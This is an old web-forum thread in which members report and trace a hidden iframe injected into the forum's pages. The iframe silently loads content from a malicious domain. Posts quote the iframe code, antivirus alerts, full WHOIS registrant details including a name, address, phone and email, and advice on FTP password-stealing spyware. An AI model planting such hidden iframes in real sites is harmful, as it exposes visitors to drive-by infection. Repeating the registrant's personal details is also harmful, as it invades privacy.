Malware on WickedFire?

Status
Not open for further replies.
zimok

zimok

Click, Whirr.
Oct 27, 2008
2,391
99
0
Canada... eh!
malaware.jpg


Got this from Chrome right now, legit?
 


Code: 
<iframe src="http://naemnitibo.in/cn.php?hyc" width="0" height="0"></iframe>
 
Norton just blocked:

HTTP malicious javascript encoder

attacking computer: naemnitibo.in (200.63.45.34)

attacker url: naemnitibo.in/cn.php?hyc

tried to attack me on port 57707 :glowingeyes_sml:
 
If anyone has a mods phone # or Jon's phone, call him and tell them to remove the rogue iframe. Every hour is money in the hands of the crooks.
 
Found it...
Code: 
<pre class="alt2" dir="ltr" style="
        margin: 0px;
        padding: 6px;
        border: 1px inset;
        width: 640px;
        height: 34px;
        text-align: left;
        overflow: auto"><iframe src="http://naemnitibo.in/cn.php?hyc" width="0" height="0"></iframe></pre>
Here's the domain info for this stupid fuck. Obviously it's anonymous but I'm hoping Shady will show up soon and dig a little deeper than I can.

Domain Name:NAEMNITIBO.IN
Created On:18-May-2009 15:34:44 UTC
Last Updated On:18-May-2009 15:37:31 UTC
Expiration Date:18-May-2010 15:34:44 UTC
Sponsoring Registrar:Web Commerce Communications Limited dba WebNic.cc (R105-AFIN)
Status:TRANSFER PROHIBITED
Registrant ID:WN13571799T
Registrant Name:Alexander Kalinin
Registrant Organization:Private person
Registrant Street1:ulitsa Dolskaya d.10 kv.33
Registrant Street2:
Registrant Street3:
Registrant City:Moskva
Registrant State/Province:Moskva
Registrant Postal Code:115569
Registrant Country:RU
Registrant Phone:+7.49573431510
Registrant Phone Ext.:
Registrant FAX:+0.0
Registrant FAX Ext.:
Registrant Email:statue@mediahouse.at
Admin ID:WN13571800T
Admin Name:Alexander Kalinin
Admin Organization:Private person
Admin Street1:ulitsa Dolskaya d.10 kv.33
Admin Street2:
Admin Street3:
Admin City:Moskva
Admin State/Province:Moskva
Admin Postal Code:115569
Admin Country:RU
Admin Phone:+7.49573431510
Admin Phone Ext.:
Admin FAX:+0.0
Admin FAX Ext.:
Admin Email:statue@mediahouse.at
Tech ID:WN13571801T
Tech Name:Alexander Kalinin
Tech Organization:Private person
Tech Street1:ulitsa Dolskaya d.10 kv.33
Tech Street2:
Tech Street3:
Tech City:Moskva
Tech State/Province:Moskva
Tech Postal Code:115569
Tech Country:RU
Tech Phone:+7.49573431510
Tech Phone Ext.:
Tech FAX:+0.0
Tech FAX Ext.:
Tech Email:statue@mediahouse.at
Name Server:NS1.NAEMNITIBO.IN
Name Server:NS2.NAEMNITIBO.IN
 
I will ping Jon or Stanley if no one's done it yet... and FF is not detecting any errors.
 
I'm running Kaspersky and all my definitions are up to date. Seems that because Firefox blocks the site by default, nothing is ever run.
 
my girlfriend's sites got infected recently with something similar (was javascript, not iframes though)

i researched it and basically there is spyware out there that sits idol on people's home computers monitoring FTP ports and sending username/passwords whenever someone logs into an FTP... basic ftp connections aren't encrypted. it's better to use sftp. i cleaned her computer of everything, changed her passwords, and had her switch to sftp before I could get the code to stop popping up every night.

i don't know if that's the problem here, but just a suggestion. i searched for 2-3 days before i figured out that her problems weren't holes in her php scripts or server side stuff....
 
texic said:
I'm running Kaspersky and all my definitions are up to date. Seems that because Firefox blocks the site by default, nothing is ever run.
Click to expand...
That's true. If you run Firefox it blocks accessing that website until you tell it to do otherwise.
 
I have AVG Internet Security & using Firefox and getting no errors ! is it fixed ?
 
Status
Not open for further replies.
Top Bottom